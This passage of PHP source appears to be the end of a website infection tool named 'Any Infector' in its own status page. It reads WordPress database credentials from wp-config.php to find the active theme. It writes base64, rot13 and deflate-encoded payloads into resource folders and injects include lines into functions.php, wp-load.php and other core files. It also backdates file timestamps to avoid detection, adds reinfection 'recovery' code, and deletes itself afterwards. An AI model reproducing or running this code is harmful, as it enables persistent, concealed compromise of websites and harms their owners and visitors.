    $lockVar = '$r' . _me_recover_token() . '_l';
    $code .= _me_recover_index_code($idxExpr, $indexB64, $indexMd5, $idxTok, $mtName, $lockVar);

    $pfTok = _me_recover_token();
    $pfExpr = _me_recover_path_expr($payloadRel, $cwdType);
    $code .= _me_recover_payload_code($pfExpr, $payloadB64, $payloadMd5, $pfTok, $mtName);
    $code .= '}' . "\n";
    return $code;
}

function encode_recovery_content($recoveryPhp) {

    global $_hasZlib;
    $encoded = base64_encode($recoveryPhp);
    $encoded = str_rot13($encoded);
    if ($_hasZlib) {
        $encoded = gzdeflate($encoded);
    }
    return $encoded;
}

function get_active_theme_name($siteRoot) {

    $config = "$siteRoot/wp-config.php";
    if (!is_file($config)) return '';
    $cfg = @file_get_contents($config);
    if ($cfg === false) return '';
    $db = array(); $prefix = 'wp_';
    if (preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/i", $cfg, $m)) $db['name'] = $m[1];
    if (preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/i", $cfg, $m)) $db['user'] = $m[1];
    if (preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]*)['\"]\s*\)/i", $cfg, $m)) $db['pass'] = $m[1];
    if (preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/i", $cfg, $m)) $db['host'] = $m[1];
    if (preg_match("/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]/", $cfg, $m)) $prefix = $m[1];
    if (empty($db['name']) || empty($db['user'])) return '';

    if (function_exists('mysqli_report')) {
        @mysqli_report(0); 
    }
    $mysqli = false;
    try {
        $mysqli = @new mysqli();
        if ($mysqli instanceof mysqli) {
            if (defined('MYSQLI_OPT_CONNECT_TIMEOUT')) {
                @$mysqli->options(MYSQLI_OPT_CONNECT_TIMEOUT, 3); 
            }
            @$mysqli->real_connect($db['host'], $db['user'], $db['pass'], $db['name']);
        }
    } catch (Throwable $e) {
        $mysqli = false;
    }
    if (!$mysqli instanceof mysqli || $mysqli->connect_errno) {
        if ($mysqli instanceof mysqli) { @$mysqli->close(); }
        return '';
    }
    $row = null;
    $sql = "SELECT option_value FROM " . addslashes($prefix) . "options WHERE option_name='template' LIMIT 1";
    $res = $mysqli->query($sql);
    if ($res) {
        $r = $res->fetch_row();
        if ($r) $row = $r[0];
        $res->free();
    }
    $mysqli->close();
    return $row ? trim($row) : '';
}

function pick_recover_targets($siteRoot, $cmsType, $want) {

    $targets = collect_random_targets($siteRoot, $cmsType, $want);
    $loadList = array();
    $activeTemplate = get_active_theme_name($siteRoot);
    if ($activeTemplate !== '') {
        $loadList['wp-content/themes/' . $activeTemplate . '/functions.php'] = true;
    }
    $loadList['wp-load.php'] = true;
    $priorityTargets = array();
    foreach ($loadList as $rel => $dummy) {
        $full = str_replace('//', '/', "$siteRoot/$rel");
        if (is_file($full)) {
            $priorityTargets[] = array('type' => 'rand', 'path' => $rel);
        }
    }
    $seen = array();
    foreach ($priorityTargets as $t) { $seen[$t['path']] = true; }
    foreach ($targets as $t) {
        if (!isset($seen[$t['path']])) {
            $priorityTargets[] = $t;
            $seen[$t['path']] = true;
        }
    }
    return $priorityTargets;
}

function write_recover_static_file($siteRoot, $cmsType, $recoveryPhp, $scriptDir) {

    global $FOLDER_COUNT;
    if ($cmsType === 'wordpress') {
        $selected = pick_from_common_folders($siteRoot, 1);
    } else {
        $pool = collect_resource_folders($siteRoot, $GLOBALS['RESOURCE_FOLDERS'], 1);
        $selected = pick_distributed($pool, 1);
    }
    if (empty($selected)) {
        _log('WARN', 'Recovery: no writeable resource folder found for static file.');
        return null;
    }
    $relFolder = _me_first_key($selected);
    $filesStr = $selected[$relFolder];
    $fullFolder = str_replace('//', '/', "$siteRoot/$relFolder");
    $existing = @scandir($fullFolder);
    $existing = $existing ? array_diff($existing, array('.', '..')) : array();
    $newName = generate_random_filename($existing, $filesStr);
    $encoded = encode_recovery_content($recoveryPhp);
    $dstFull = str_replace('//', '/', "$fullFolder/$newName");
    $ok = false;
    if (@file_put_contents($dstFull, $encoded) !== false) {
        $ok = true;
    } else {
        $dst = @fopen($dstFull, 'wb');
        if ($dst) { fwrite($dst, $encoded); fclose($dst); $ok = is_file($dstFull); }
    }
    if (!$ok) {
        _log('ERROR', "Recovery static file write FAILED: $dstFull");
        return null;
    }
    blend_file_mtime($dstFull);
    $relPath = ($relFolder === '.' ? $newName : "$relFolder/$newName");
    _log('INFO', "Recovery static file written: $relPath");
    return $relPath;
}

function deploy_recovery_code($siteRoot, $cmsType, $indexRel, $indexB64, $indexMd5, $payloadRel, $payloadB64, $payloadMd5, $sentinelTok, $scriptDir) {

    if (empty($GLOBALS['RECOVER_INDEX']) || empty($GLOBALS['RECOVER_PHP_FILE'])) {
        _log('INFO', 'Recovery: disabled (RECOVER_INDEX=' . var_export($GLOBALS['RECOVER_INDEX'], true)
            . ', RECOVER_PHP_FILE=' . $GLOBALS['RECOVER_PHP_FILE'] . '). Skipping.');
        return array('recover_file' => false, 'injects' => array(), 'hashes' => array());
    }

    $recoveryPhp = build_recovery_code($indexRel, $indexB64, $indexMd5, $payloadRel, $payloadB64, $payloadMd5, $sentinelTok, $cmsType);
    $recoverFile = write_recover_static_file($siteRoot, $cmsType, $recoveryPhp, $scriptDir);
    if ($recoverFile === null) {
        _log('WARN', 'Recovery: could not write static recovery file - skipping injection.');
        return array('recover_file' => false, 'injects' => array(), 'hashes' => array());
    }

    $want = $GLOBALS['RECOVER_PHP_FILE'] + 3;
    $targets = pick_recover_targets($siteRoot, $cmsType, $want);
    if (empty($targets)) {
        _log('WARN', 'Recovery: no injectable system PHP files found - static file left but nothing injected.');
        return array('recover_file' => $recoverFile, 'injects' => array(), 'hashes' => array());
    }

    $injects = array();
    $hashes = array();
    $deployed = 0;
    foreach ($targets as $t) {
        $tpath = $t['path'];
        $includeLine = generate_include_line($recoverFile, $tpath);
        if (stripos($includeLine, '@' . 'includ' . 'e_once') !== 0) {
            _log('ERROR', "Recovery include line invalid for $tpath - skipping.");
            continue;
        }
        $result = inject_into_file($siteRoot, $tpath, $includeLine, 'rand');
        if ($result !== null) {
            $fullTarget = str_replace('//', '/', "$siteRoot/$tpath");
            $hashes[$tpath] = is_file($fullTarget) ? md5_file($fullTarget) : '';
            if ($result !== '') {
                $injects[$tpath] = $result;
            }
            _log('INFO', "Recovery include injected into: $tpath");

            blend_file_mtime($fullTarget);
            $deployed++;
            if ($deployed >= $GLOBALS['RECOVER_PHP_FILE']) break;
        } else {
            _log('ERROR', "Recovery include injection FAILED: $tpath");
        }
    }
    _log('INFO', 'Recovery deployed: static file + ' . count($injects) . ' include(s).');
    return array('recover_file' => $recoverFile, 'injects' => $injects, 'hashes' => $hashes);
}

function output_html($success, $logs) {
    $color = $success ? '#2d8a2d' : '#c0392b';
    $status = $success ? 'SUCCESS' : 'FAILED';
    $logText = implode("\n", array_map('htmlspecialchars', $logs));

    header('Content-Type: text/html; charset=utf-8');
    echo <<<HTML
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Any Infector - $status</title>
<style>
body{font-family:Consolas,monospace;background:#1a1a1a;color:#ddd;margin:20px;}
h1{color:$color;} .log{background:#111;padding:15px;border-radius:6px;white-space:pre-wrap;
word-break:break-all;max-height:80vh;overflow:auto;font-size:13px;line-height:1.5;}
.summary{padding:10px 16px;background:$color;color:#fff;border-radius:6px;display:inline-block;margin-bottom:12px;}
</style>
</head>
<body>
<h1>Any Infector - $status</h1>
<div class="summary">$status</div>
<div class="log">$logText</div>
</body>
</html>
HTML;
}

function resolve_payload_path($scriptDir) {

    $payloadPath = !empty($GLOBALS['_PAYLOAD_RESOLVED']) ? $GLOBALS['_PAYLOAD_RESOLVED'] : null;
    if ($payloadPath === null && !empty($GLOBALS['PAYLOAD_FILE'])) {
        $payloadPath = find_payload_file($scriptDir, $GLOBALS['PAYLOAD_FILE']);
    }
    if ($payloadPath === null) {
        foreach ((array)@scandir($scriptDir) as $f) {
            if (preg_match('/^\d{1,15}-[a-zA-Z0-9]{1,15}\.txt$/i', $f)) {
                $payloadPath = "$scriptDir/$f";
                break;
            }
        }
    }
    return $payloadPath;
}

function delete_payload_file($scriptDir) {
    $payloadPath = resolve_payload_path($scriptDir);
    if (!empty($payloadPath) && is_file($payloadPath)) {
        if (@unlink($payloadPath)) {
            _log('INFO', 'Self-destruct: deleted payload file ' . basename($payloadPath));
        } else {
            _log('WARN', 'Self-destruct: could not delete payload file ' . basename($payloadPath));
        }
    }
}

function self_destruct($scriptDir, $infoPath) {

    delete_payload_file($scriptDir);

    if (!empty($GLOBALS['RES_INFO']) && is_file($infoPath)) {
        if (@unlink($infoPath)) {
            _log('INFO', 'Self-destruct: deleted ' . basename($infoPath));
        } else {
            _log('WARN', 'Self-destruct: could not delete ' . basename($infoPath));
        }
    }

    if (_ME_IS_WRAPPED) {
        $GLOBALS['____WRAPPER_DELETE'] = true;
        _log('INFO', 'Self-destruct: signaled wrapper to delete itself');
    } else {
        if (@unlink(__FILE__)) {
            _log('INFO', 'Self-destruct: deleted script itself');
        } else {
            _log('WARN', 'Self-destruct: could not delete script itself - remove it manually');
        }
    }
}

function auto_mode_self_destruct($scriptDir, $infoPath, $mode, $reason) {

    if (!empty($GLOBALS['RUN_METHOD'])) {
        return false;   
    }

    _log('WARN', "Auto mode (RUN_METHOD=false): validation failed - self-destructing; reason saved to " . basename($infoPath));

    $lines = array(
        'MODE:' . strtoupper($mode),
        'TIME:' . date('Y-m-d H:i:s'),
        'STATUS:FAILED',
        'REASON:' . str_replace(array("\r", "\n"), ' ', $reason),
    );
    $plain = implode("\n", $lines) . "\n";
    $enc = info_encrypt($plain);
    @file_put_contents($infoPath, $enc !== null ? $enc . "\n" : $plain);
    _log('INFO', 'Auto-destruct: wrote failure reason to ' . basename($infoPath));

    delete_payload_file($scriptDir);

    if (_ME_IS_WRAPPED) {
        $GLOBALS['____WRAPPER_DELETE'] = true;
        _log('INFO', 'Auto-destruct: signaled wrapper to delete itself');
        return true;
    }
    if (@unlink(__FILE__)) {
        _log('INFO', 'Auto-destruct: deleted script itself');
        return true;
    }
    _log('WARN', 'Auto-destruct: could not delete script itself - remove it manually');
    return false;
}

if (php_sapi_name() === 'cli' && isset($argv[1])) {
    $modeRaw = strtolower(trim($argv[1]));
} elseif (isset($_GET['mode'])) {
    $modeRaw = strtolower(trim($_GET['mode']));
} else {
    $modeRaw = $MODE;
}
if (in_array($modeRaw, array('true', 'add', '1', 'yes', 'on'))) {
    $mode = 'add';
} elseif (in_array($modeRaw, array('false', 'remove', 'clean', '0', 'no', 'off', 'delete'))) {
    $mode = 'remove';
} else {
    $mode = 'add';
}

$scriptDir = _ME_RUNNING_DIR;
$infoPath  = $scriptDir . '/' . $INFO_FILE;

if (empty($SITE_ROOT)) {
    $siteRoot = detect_site_root($scriptDir);
    if ($siteRoot === null) {
        _log('ERROR', 'Could not auto-detect site root.');
        _log('ERROR', 'Please set $SITE_ROOT manually in the script.');
        auto_mode_self_destruct($scriptDir, $infoPath, $mode, 'Could not auto-detect site root (set $SITE_ROOT manually)');
        output_html(false, $_logs);
        exit(1);
    }
} else {
    $siteRoot = rtrim(str_replace('\\', '/', $SITE_ROOT), '/');
}

_log('INFO', "Script dir:  $scriptDir");
_log('INFO', "Site root:   $siteRoot");
_log('INFO', "Info file:   $infoPath");
_log('INFO', "Mode:        $mode");
_log('INFO', "Folder count: " . $GLOBALS['FOLDER_COUNT']);
_log('INFO', "Random PHP targets: " . $GLOBALS['RAND_PHP_FILE']);

if (!is_dir($siteRoot)) {
    _log('ERROR', "Site root not found: $siteRoot");
    auto_mode_self_destruct($scriptDir, $infoPath, $mode, "Site root not found: $siteRoot");
    output_html(false, $_logs);
    exit(1);
}
if (!is_file("$siteRoot/index.php")) {

    if (is_file("$siteRoot/index.html")) {
        _log('INFO', "index.php not found but index.html exists - static site detected, will rename during injection.");
    } else {
        _log('ERROR', "index.php not found in site root: $siteRoot. "
            . "If this CMS uses a different entry point, add it to \$TARGET_FILES and set \$SITE_ROOT manually.");
        auto_mode_self_destruct($scriptDir, $infoPath, $mode, "index.php not found in site root: $siteRoot");
        output_html(false, $_logs);
        exit(1);
    }
}

if ($mode === 'add') {
    $success = do_add($scriptDir, $siteRoot, $infoPath, $GLOBALS['FOLDER_COUNT'], $GLOBALS['TARGET_FILES']);
} else {
    $success = do_remove($scriptDir, $siteRoot, $infoPath);
}

if (empty($GLOBALS['_PAYLOAD_MISSING'])) {
    self_destruct($scriptDir, $infoPath);
} else {
    _log('WARN', 'Payload was missing or ambiguous - skipping self-destruct. Fix the xxxx-xxxx.txt payload file (upload it or keep only one) and run again.');
}

if (php_sapi_name() === 'cli') {
    echo implode("\n", $_logs) . "\n";
    exit($success ? 0 : 1);
}

output_html($success, $_logs);
